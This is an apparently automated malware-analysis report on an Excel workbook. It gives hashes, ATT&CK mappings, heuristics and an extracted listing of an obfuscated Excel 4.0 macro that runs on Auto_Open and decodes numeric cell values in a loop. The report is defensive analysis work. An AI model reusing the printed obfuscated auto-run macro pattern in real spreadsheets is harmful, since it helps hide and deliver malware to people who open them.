Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 0f52125efa594e60…

MALICIOUS

Office (OLE)

36.5 KB Created: 2020-11-27 11:39:52 Authoring application: Microsoft Excel First seen: 2021-08-25
MD5: 284584d2bcfd8c76ca3de4b6a4c13dcb SHA-1: a46bb2c823f04407cdfe9839908be137b3f78cf6 SHA-256: 0f52125efa594e600b5fc76e5ad9f2c07432f9c8d84be8859fe52e4f12caab14
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The critical heuristics indicate the presence of Excel 4.0 macros with an Auto_Open entry point, which is a common method for executing malicious code in older Excel versions. The macro sheet contains numerous string constants, likely used to obfuscate the actual commands or payload. The Auto_Open function is designed to run automatically when the workbook is opened, suggesting a spearphishing attachment delivery vector.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6736 bytes
SHA-256: 92aa63284f416273e07055532d0cbda939a860ee85c9b4580e42ebacbea927c3
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     16 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  mGhfvSa
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!I140 
' 0018     23 LABEL : Cell Value, String Constant - aVabAijL len=0 
' 0018     20 LABEL : Cell Value, String Constant - CDjlE len=0 
' 0018     20 LABEL : Cell Value, String Constant - DuVPD len=0 
' 0018     25 LABEL : Cell Value, String Constant - esbmJsWECq len=0 
' 0018     25 LABEL : Cell Value, String Constant - HEgzAELZKG len=0 
' 0018     27 LABEL : Cell Value, String Constant - hndsXfLAMSql len=0 
' 0018     27 LABEL : Cell Value, String Constant - jdClIJrwnBAw len=0 
' 0018     27 LABEL : Cell Value, String Constant - kVPomnTShuUT len=0 
' 0018     25 LABEL : Cell Value, String Constant - KwdtzqPogc len=0 
' 0018     27 LABEL : Cell Value, String Constant - KWUqEsgihVEb len=0 
' 0018     27 LABEL : Cell Value, String Constant - lDCircOeGkNF len=0 
' 0018     24 LABEL : Cell Value, String Constant - MEhLEglgY len=0 
' 0018     25 LABEL : Cell Value, String Constant - mujSOsgvfH len=0 
' 0018     23 LABEL : Cell Value, String Constant - oKsATRMz len=0 
' 0018     21 LABEL : Cell Value, String Constant - qtbtjN len=0 
' 0018     21 LABEL : Cell Value, String Constant - QvHFUj len=0 
' 0018     21 LABEL : Cell Value, String Constant - QwPwBY len=0 
' 0018     23 LABEL : Cell Value, String Constant - SzsBdmbG len=0 
' 0018     27 LABEL : Cell Value, String Constant - YnnPwaNCcaxx len=0 
' 0018     22 LABEL : Cell Value, String Constant - ZXjWQwC len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  mGhfvSa,I43,"SET.NAME("kVPomnTShuUT",0+VALUE("0"))",""
'  mGhfvSa,I47,"SET.NAME("jdClIJrwnBAw",kVPomnTShuUT)",""
'  mGhfvSa,I51,"SET.NAME("ZXjWQwC",kVPomnTShuUT)",""
'  mGhfvSa,I53,"SET.NAME("hndsXfLAMSql",COUNTA(DuVPD))",""
'  mGhfvSa,I58,"SET.NAME("QwPwBY",COUNTA(esbmJsWECq))",""
'  mGhfvSa,I62,[],""
'  mGhfvSa,I65,"SET.NAME("mujSOsgvfH","")",""
'  mGhfvSa,Q66,"",-87.00000000000000000000
'  mGhfvSa,Q67,"",896.00000000000000000000
'  mGhfvSa,I68,"jdClIJrwnBAw",""
'  mGhfvSa,Q68,"",22.00000000000000000000
'  mGhfvSa,Q69,"",-199.00000000000000000000
'  mGhfvSa,Q70,"",-671.00000000000000000000
'  mGhfvSa,Q71,"",-490.00000000000000000000
'  mGhfvSa,I72,"SET.NAME("KWUqEsgihVEb",HLOOKUP("*",DuVPD,jdClIJrwnBAw,FALSE))",""
'  mGhfvSa,I76,"HEgzAELZKG",""
'  mGhfvSa,I78,"SET.NAME("CDjlE",kVPomnTShuUT)",""
'  mGhfvSa,I82,[],""
'  mGhfvSa,I85,"CDjlE",""
'  mGhfvSa,I89,"QvHFUj",""
'  mGhfvSa,I91,"SzsBdmbG",""
'  mGhfvSa,I93,"lDCircOeGkNF",""
'  mGhfvSa,I98,"SET.NAME("MEhLEglgY",VALUE(HLOOKUP("*",esbmJsWECq,lDCircOeGkNF,FALSE)))",""
'  mGhfvSa,I103,"oKsATRMz",""
'  mGhfvSa,I106,"mujSOsgvfH",""
'  mGhfvSa,I111,"ZXjWQwC",""
'  mGhfvSa,I113,NEXT(),""
'  mGhfvSa,I116,"KwdtzqPogc",""
'  mGhfvSa,I120,[],""
'  mGhfvSa,I125,"YnnPwaNCcaxx",""
'  mGhfvSa,I130,NEXT(),""
'  mGhfvSa,I135,RETURN(),""
'  mGhfvSa,I164,"SET.NAME("qtbtjN",I43)",""
'  mGhfvSa,I166,"DuVPD",""
'  mGhfvSa,I169,"SET.NAME("esbmJsWECq",R40C12)",""
'  mGhfvSa,I172,"SET.NAME("YnnPwaNCcaxx",181)",""
'  mGhfvSa,I176,"SET.NAME("aVabAijL",9)",""
'  mGhfvSa,I180,qtbtjN(),""
'  mGhfvSa,I181,HALT(),""